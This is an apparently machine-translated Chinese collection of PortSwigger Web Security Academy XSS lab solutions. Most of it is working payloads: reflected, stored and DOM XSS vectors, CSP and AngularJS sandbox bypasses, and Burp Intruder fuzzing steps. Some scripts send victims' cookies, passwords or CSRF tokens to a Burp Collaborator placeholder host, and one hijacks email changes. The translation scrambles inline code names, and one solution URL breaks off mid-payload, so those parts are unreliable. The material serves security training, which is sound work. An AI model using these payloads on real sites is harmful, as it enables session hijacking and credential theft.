将 XSS 反射到 HTML 上下文中,无需编码
lab
实验室:将 XSS 反射到 HTML 上下文中,无需编码 |网络安全学院 (portswigger.net)
solve
将以下内容复制并粘贴到搜索框中:
<script>alert(1)</script>
- 点击“搜索”。将 XSS 存储到 HTML 上下文中,无需编码
将 XSS 存储到 HTML 上下文中,无需编码
lab
实验室:将 XSS 存储到 HTML 上下文中,无需编码 |网络安全学院 (portswigger.net)
solve
在评论框中输入以下内容:
<script>alert(1)</script>
- 输入姓名、电子邮件和网站。
- 点击“发表评论”。
- 返回博客使用源的接收器中的 DOM XSS
document.write
`location.search`。
使用源的接收器中的 DOM XSSdocument.write
`location.search`
lab
实验室:使用源 location.search 在 document.write 接收器中使用 DOM XSS |网络安全学院 (portswigger.net)
solve
- 在搜索框中输入一个随机字母数字字符串。
- 右键单击并检查该元素,并观察您的随机字符串是否已放置在属性中。
img src
通过搜索以下内容来突破属性:
img
"><svg onload=alert(1)>
使用源的接收器中的 DOM XSSinnerHTML
`location.search`
lab
实验室:使用源 location.search 在 innerHTML 接收器中使用 DOM XSS |网络安全学院 (portswigger.net)
solve
在搜索框中输入以下内容:
<img src=1 onerror=alert(1)>
- 点击“搜索”。
该属性的值无效并引发错误。这将触发事件处理程序,然后调用该函数。因此,每当用户的浏览器尝试加载包含恶意帖子的页面时,都会执行有效负载。src
`onerror`alert()
使用源代码的 jQuery 锚点属性接收器中的 DOM XSShref
`location.search`
lab
实验室:使用 location.search 源的 jQuery 锚点 href 属性接收器中的 DOM XSS |网络安全学院 (portswigger.net)
solve
- 在“提交反馈”页上,将查询参数更改为后跟随机字母数字字符串。
returnPath
`/` - 右键单击并检查该元素,并观察您的随机字符串是否已放置在 a 属性中。
href
更改为:
returnPath
javascript:alert(document.cookie)
按回车键,然后单击“返回”。
使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS
lab
实验室:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS |网络安全学院 (portswigger.net)
solve
- 请注意使用 Burp 或浏览器的 DevTools 的主页上易受攻击的代码。
- 在实验室横幅中,打开攻击服务器。
在“正文”部分中,添加以下恶意内容:
iframe
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
- 存储漏洞利用,然后单击“查看漏洞”以确认已调用该函数。
print()
- 返回漏洞利用服务器,然后单击“交付给受害者”以解决实验室问题。
将 XSS 反射到带有尖括号的属性中 HTML 编码
lab
实验室:将 XSS 反射到带有尖括号的属性中 HTML 编码 |网络安全学院 (portswigger.net)
solve
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 请注意,随机字符串已反映在带引号的属性中。
将输入替换为以下有效负载,以转义带引号的属性并注入事件处理程序:
"onmouseover="alert(1)
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您将鼠标移到注入的元素上时,它应该会触发警报。
将 XSS 存储到带有双引号的 HTML 编码的锚属性中href
lab
实验室:将 XSS 存储到带有双引号的锚点 href 属性中 HTML 编码 |网络安全学院 (portswigger.net)
solve
- 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
- 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
- 请注意,第二个 Repeater 选项卡中的随机字符串已反映在 anchor 属性中。
href
再次重复该过程,但这次将输入替换为以下有效负载,以注入调用警报的 JavaScript URL:
javascript:alert(1)
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应会触发提醒。
将 XSS 反射到带有尖括号的 HTML 编码的 JavaScript 字符串中
lab
实验室:将 XSS 反射到带有尖括号的 HTML 编码的 JavaScript 字符串中 |网络安全学院 (portswigger.net)
solve
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 请注意,随机字符串已反映在 JavaScript 字符串中。
将输入替换为以下有效负载,以突破 JavaScript 字符串并注入警报:
'-alert(1)-'
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该会触发警报。
在接收器中使用 select 元素内的源的 DOM XSSdocument.write
`location.search`
lab
实验室:在 select 元素中使用源 location.search 在 document.write 接收器中使用 DOM XSS |网络安全学院 (portswigger.net)
solve
- 请注意,在产品页面上,危险的 JavaScript 会从源代码中提取参数。然后,它用于在 select 元素中为库存检查器功能创建一个新选项。
storeId
`location.search`document.write
- 向 URL 添加查询参数,并输入一个随机字母数字字符串作为其值。请求此修改后的 URL。
storeId
- 请注意,在浏览器中,您的随机字符串现在被列为下拉列表中的选项之一。
- 右键单击并检查下拉列表,以确认参数的值已放置在选择元素中。
storeId
更改 URL 以在参数中包含合适的 XSS 有效负载,如下所示:
storeId
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码
lab
实验室:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码 |网络安全学院 (portswigger.net)
solve
- 在搜索框中输入一个随机字母数字字符串。
- 查看页面源代码,并观察随机字符串是否包含在指令中。
ng-app
在搜索框中输入以下 AngularJS 表达式:
{{$on.constructor('alert(1)')()}}
- 单击“搜索”。
反射 DOM XSS
lab
实验室:反射 DOM XSS |网络安全学院 (portswigger.net)
solve
- 在 Burp Suite 中,转到代理工具并确保 Intercept 功能已打开。
- 回到实验室,转到目标网站,然后使用搜索栏搜索随机测试字符串,例如 .
"XSS"
- 返回到 Burp Suite 中的代理工具并转发请求。
- 请注意,在“截获”选项卡上,该字符串反映在名为 的 JSON 响应中。
search-results
- 在站点地图中,打开文件,并注意 JSON 响应与函数调用一起使用。
searchResults.js
`eval()` - 通过试验不同的搜索字符串,可以确定 JSON 响应是否正在转义引号。但是,反斜杠无法逃脱。
若要解决此实验,请输入以下搜索词:
\"-alert(1)}//
由于您注入了反斜杠,并且网站没有转义它们,因此当 JSON 响应尝试转义左双引号字符时,它会添加第二个反斜杠。生成的双反斜杠会导致转义被有效抵消。这意味着双引号是未转义的,这将关闭应包含搜索词的字符串。
然后,在调用函数之前,使用算术运算符(在本例中为减法运算符)来分隔表达式。最后,一个右大括号和两个正斜杠提前关闭 JSON 对象,并注释掉对象的其余部分。因此,生成响应如下:alert()
{"searchTerm":"\\"-alert(1)}//", "results":[]}
存储的 DOM XSS
lab
实验室:存储的 DOM XSS |网络安全学院 (portswigger.net)
solve
发表包含以下向量的评论:
<><img src=1 onerror=alert(1)>
为了防止 XSS,该网站使用 JavaScript 函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一个参数。我们利用此漏洞,只需在注释开头添加一组额外的尖括号即可。这些尖括号将被编码,但任何后续的尖括号都不会受到影响,使我们能够有效地绕过过滤器并注入 HTML。replace()
将 XSS 反射到 HTML 上下文中,并阻止大多数标记和属性
lab
实验室:将 XSS 反射到 HTML 上下文中,大多数标记和属性被阻止 |网络安全学院 (portswigger.net)
solve
注入标准 XSS 向量,例如:
<img src=1 onerror=print()>
- 请注意,这被阻止了。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
- 打开 Burp 的浏览器并使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
- 在 Burp Intruder 的“位置”选项卡中,将搜索词的值替换为:
<>
- 将光标放在尖括号之间,然后单击“添加 §”两次,以创建有效载荷位置。搜索词的值现在应如下所示:
<§§>
- 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“粘贴”以将标签列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。
body
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
<body%20=1>
- 将光标放在字符之前,然后单击“添加 §”两次,以创建有效负载位置。搜索词的值现在应如下所示:
=
`<body%20§§=1>` - 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。
onresize
转到攻击服务器并粘贴以下代码,替换为实验室 ID:
YOUR-LAB-ID
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
- 单击“商店”和“向受害者提供漏洞利用”。
将 XSS 反射到 HTML 上下文中,并阻止除自定义标签之外的所有标签
lab
实验室:将 XSS 反射到 HTML 上下文中,并阻止除自定义标签之外的所有标签 |网络安全学院 (portswigger.net)
solve
转到攻击服务器并粘贴以下代码,替换为实验室 ID:
YOUR-LAB-ID
<script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x'; </script>
- 单击“商店”和“向受害者提供漏洞利用”。
此注入将创建一个具有 ID 的自定义标签,其中包含触发函数的事件处理程序。URL 末尾的哈希值会在加载页面后立即关注此元素,从而导致调用有效负载。x
`onfocusalert
alert`
允许使用一些 SVG 标记的反射 XSS
lab
实验室:允许使用一些 SVG 标记的反射 XSS |网络安全学院 (portswigger.net)
solve
注入标准 XSS 有效负载,例如:
<img src=1 onerror=alert(1)>
- 请注意,此有效负载是否被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
- 打开 Burp 的浏览器并使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
- 在 Burp Intruder 的“位置”选项卡中,单击“清除 §”。
- 在请求模板中,将搜索词的值替换为:
<>
- 将光标放在尖括号之间,然后单击“添加 §”两次以创建有效载荷位置。搜索词的值现在应为:
<§§>
- 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“粘贴”以将标签列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但使用 、 、 和 标记的有效负载除外,这些有效负载收到了 200 响应。
<svg>
`<title>
` 返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
<svg><animatetransform%20=1>
将光标放在字符之前,然后单击“添加 §”两次以创建有效负载位置。搜索词的值现在应为:
=
<svg><animatetransform%20§§=1>
- 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。
onbegin
在浏览器中访问以下 URL,确认已调用 alert() 函数并求解实验室:
https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
规范链接标签中反映的 XSS
lab
实验室:规范链接标签中反映的 XSS |网络安全学院 (portswigger.net)
solve
访问以下 URL,替换为实验室 ID:
YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将密钥设置为整个页面的访问密钥。当用户按下访问键时,将调用该函数。
X
`alert`要触发对自己的攻击,请按以下组合键之一:
- 在 Windows 上:
ALT+SHIFT+X
- 在 MacOS 上:
CTRL+ALT+X
- 在 Linux 上:
Alt+X
- 在 Windows 上:
将 XSS 反射到具有单引号和反斜杠转义的 JavaScript 字符串中
lab
实验室:将 XSS 反射到带有单引号和反斜杠转义的 JavaScript 字符串中 |网络安全学院 (portswigger.net)
solve
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 请注意,随机字符串已反映在 JavaScript 字符串中。
- 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而防止您跳出字符串。
test'payload
将输入替换为以下有效负载,以突破脚本块并注入新脚本:
</script><script>alert(1)</script>
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该会触发警报。
将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义
lab
实验室:将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义 |网络安全学院 (portswigger.net)
solve
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 请注意,随机字符串已反映在 JavaScript 字符串中。
- 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而防止您跳出字符串。
test'payload
- 尝试发送有效负载,并观察反斜杠不会被转义。
test\payload
将输入替换为以下有效负载,以突破 JavaScript 字符串并注入警报:
\'-alert(1)//
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该会触发警报。
将 XSS 存储到带有尖括号和双引号的事件中 HTML 编码和单引号和反斜杠转义onclick
lab
实验室:将 XSS 存储到带有尖括号和双引号的 onclick 事件中 HTML 编码和单引号和反斜杠转义 |网络安全学院 (portswigger.net)
solve
- 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
- 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
- 请注意,第二个“转发器”选项卡中的随机字符串已反映在事件处理程序属性中。
onclick
再次重复该过程,但这次修改您的输入,以使用以下有效负载注入调用 的 JavaScript URL:
alert
http://foo?'-alert(1)-'
- 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应会触发提醒。
将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文本中 Unicode 转义
lab
实验室:将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文本中 Unicode 转义 |网络安全学院 (portswigger.net)
solve
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 请注意,随机字符串已反映在 JavaScript 模板字符串中。
- 将输入替换为以下有效负载,以在模板字符串中执行 JavaScript:
${alert(1)}
- 通过右键单击,选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该会触发警报。
利用跨站点脚本窃取 Cookie
lab
实验室:利用跨站点脚本窃取 Cookie |网络安全学院 (portswigger.net)
solve
- 使用 Burp Suite Professional,转到 Collaborator 选项卡。
- 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指示的位置插入您的 Burp Collaborator 子域:
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>
此脚本将使任何查看评论的人向公共协作者服务器上的子域发出包含其 cookie 的 POST 请求。
- 返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
- 记下 POST 正文中受害者 cookie 的值。
- 重新加载主博客页面,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送求解实验室的请求。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来加载管理员用户的帐户页面。
/my-account
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF,使受害者在博客评论中发布他们的会话 cookie。然而,这远没有那么微妙,因为它公开暴露了cookie,并且还披露了攻击的证据。
利用跨站点脚本捕获密码
lab
实验室:利用跨站点脚本捕获密码 |网络安全学院 (portswigger.net)
solve
- 使用 Burp Suite Professional,转到 Collaborator 选项卡。
- 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
在博客评论中提交以下有效负载,并在指定位置插入您的 Burp Collaborator 子域:
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
此脚本将使任何查看评论的人向公共协作者服务器的子域发出包含其用户名和密码的 POST 请求。
- 返回“协作者”选项卡,然后单击“立即投票”。您应该看到 HTTP 交互。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
- 记下 POST 正文中受害者的用户名和密码的值。
- 使用凭据以受害用户身份登录。
替代解决方案
或者,您可以调整攻击,通过利用 XSS 执行 CSRF,使受害者在博客评论中发布他们的凭据。然而,这远没有那么微妙,因为它公开暴露了用户名和密码,并且还披露了执行攻击的证据。
利用 XSS 执行 CSRF
lab
实验室:利用 XSS 执行 CSRF |网络安全学院 (portswigger.net)
solve
- 使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
如果查看页面的源,则会看到以下信息:
- 您需要向 发出一个 POST 请求,并使用一个名为 的参数。
/my-account/change-email
`email` - 在一个名为 的隐藏输入中有一个反 CSRF 令牌。
token
这意味着您的漏洞将需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
- 您需要向 发出一个 POST 请求,并使用一个名为 的参数。
在博客评论中提交以下有效负载:
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/my-account',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script>
这将使任何查看评论的人发出 POST 请求,将其电子邮件地址更改为 。
test@test.com
带有 AngularJS 沙箱转义的反射 XSS 无字符串
lab
实验室:使用 AngularJS 沙箱转义的反射 XSS 无字符串 |网络安全学院 (portswigger.net)
solve
访问以下 URL,替换为实验室 ID:YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞用于在不使用引号的情况下创建字符串。然后,它获取原型并覆盖每个字符串的函数。这有效地破坏了 AngularJS 沙箱。接下来,将数组传递给筛选器。然后,我们再次使用 to 创建字符串和构造函数属性来设置过滤器的参数。最后,我们使用通过将字符代码转换为字符串来生成有效负载的方法。由于该函数已被覆盖,因此 AngularJS 将允许此代码在通常不会的地方使用。toString()
`StringcharAt
orderBytoString()
StringfromCharCode
x=alert(1)`charAt
使用 AngularJS 沙盒转义和 CSP 的反射 XSS
lab
实验室:使用 AngularJS 沙盒转义和 CSP 的反射 XSS |网络安全学院 (portswigger.net)
solve
转到攻击服务器并粘贴以下代码,替换为实验室 ID:
YOUR-LAB-ID
<script> location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x'; </script>
- 单击“商店”和“向受害者提供漏洞利用”。
该漏洞利用 AngularJS 中的事件创建绕过 CSP 的焦点事件。它还使用 ,这是一个引用事件对象的 AngularJS 变量。该属性特定于 Chrome,包含触发事件的元素数组。数组中的最后一个元素包含对象。ng-focus
`$eventpath
window`
通常,在 JavaScript 中是按位或操作,但在 AngularJS 中,它表示过滤器操作,在本例中为过滤器。冒号表示要发送到筛选器的参数。在参数中,我们不是直接调用函数,而是将其分配给变量 。仅当操作到达数组中的对象时,才会调用该函数。这意味着它可以在窗口范围内调用,而无需显式引用对象,从而有效地绕过了 AngularJS 的检查。|
`orderByalert
zorderBy
window$event.path
window`window
事件处理程序和属性被阻止的反射 XSShref
lab
实验室:事件处理程序和 href 属性被阻止的反射 XSS |网络安全学院 (portswigger.net)
solve
访问以下 URL,替换为实验室 ID:YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cs
JavaScript URL 中反映的 XSS,其中某些字符被阻止
lab
实验室:JavaScript URL 中反映的 XSS 并阻止了某些字符 |网络安全学院 (portswigger.net)
solve
访问以下 URL,替换为实验室 ID:YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
实验室将得到解决,但只有在单击页面底部的“返回博客”时才会调用警报。
该漏洞利用异常处理使用参数调用函数。使用该语句,用空白注释分隔,以绕过无空格限制。该函数分配给异常处理程序。alert
`throwalert
onerror`
作为语句,它不能用作表达式。相反,我们需要使用箭头函数来创建一个块,以便可以使用该语句。然后我们需要调用这个函数,所以我们把它分配给 的属性,并通过强制进行字符串转换来触发它。throw
`throwtoString
window`window
反射式 XSS 受非常严格的 CSP 保护,具有悬空标记攻击
lab
实验室:反射式 XSS 受非常严格的 CSP 保护,具有悬空标记攻击 |网络安全学院 (portswigger.net)
solve
- 使用上面提供的帐户登录实验室。
- 检查更改电子邮件功能。请注意,该参数中存在 XSS 漏洞。
email
- 转到“协作者”选项卡。
- 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
返回实验室,转到攻击服务器并添加以下代码,分别将 和 替换为实验室 ID 和漏洞利用服务器 ID,并替换为刚刚从 Burp Collaborator 复制的有效负载。
YOUR-LAB-ID
`YOUR-EXPLOIT-SERVER-ID`YOUR-COLLABORATOR-ID
<script> if(window.name) { new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name); } else { location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; } </script>
- 单击“存储”,然后单击“向受害者提供漏洞”。当用户访问包含此恶意脚本的网站时,如果他们在登录实验室网站时单击“单击我”链接,则其浏览器将向您的恶意网站发送包含其 CSRF 令牌的请求。然后,您可以使用 Burp Collaborator 窃取此 CSRF 令牌。
- 返回“协作者”选项卡,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到由应用程序启动的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。
- 打开 Burp 的 Intercept 功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任意随机地址的请求。
- 在 Burp 中,转到截获的请求,并将 email 参数的值更改为 。
hacker@evil-user.net
- 右键单击请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示请求和由它生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。
- 单击“选项”并确保“包括自动提交脚本”已激活。
- 单击“重新生成”以更新 CSRF HTML,使其包含被盗的令牌,然后单击“复制 HTML”将其保存到剪贴板。
- 删除请求并关闭拦截功能。
- 返回攻击服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。
- 单击“商店”和“向受害者提供漏洞利用”。用户的电子邮件将更改为 。
hacker@evil-user.net
受 CSP 保护的反射 XSS,具有 CSP 旁路功能
lab
实验室:受 CSP 保护的反射 XSS,具有 CSP 旁路功能 |网络安全学院 (portswigger.net)
solve
在搜索框中输入以下内容:
<img src=1 onerror=alert(1)>
- 请注意,有效负载已反映,但 CSP 会阻止脚本执行。
- 在 Burp Proxy 中,观察响应包含标头,并且指令包含一个名为 的参数。由于可以控制参数,因此可以将自己的 CSP 指令注入策略中。
Content-Security-Policy
`report-uritoken
token` 访问以下 URL,替换为实验室 ID:
YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
注入使用 CSP 中的指令。此指令允许您仅以元素为目标。使用此指令,您可以覆盖现有规则,使您能够注入 ,这允许您使用内联脚本。script-src-elem
`scriptscript-src
unsafe-inline`
评论0
暂时没有评论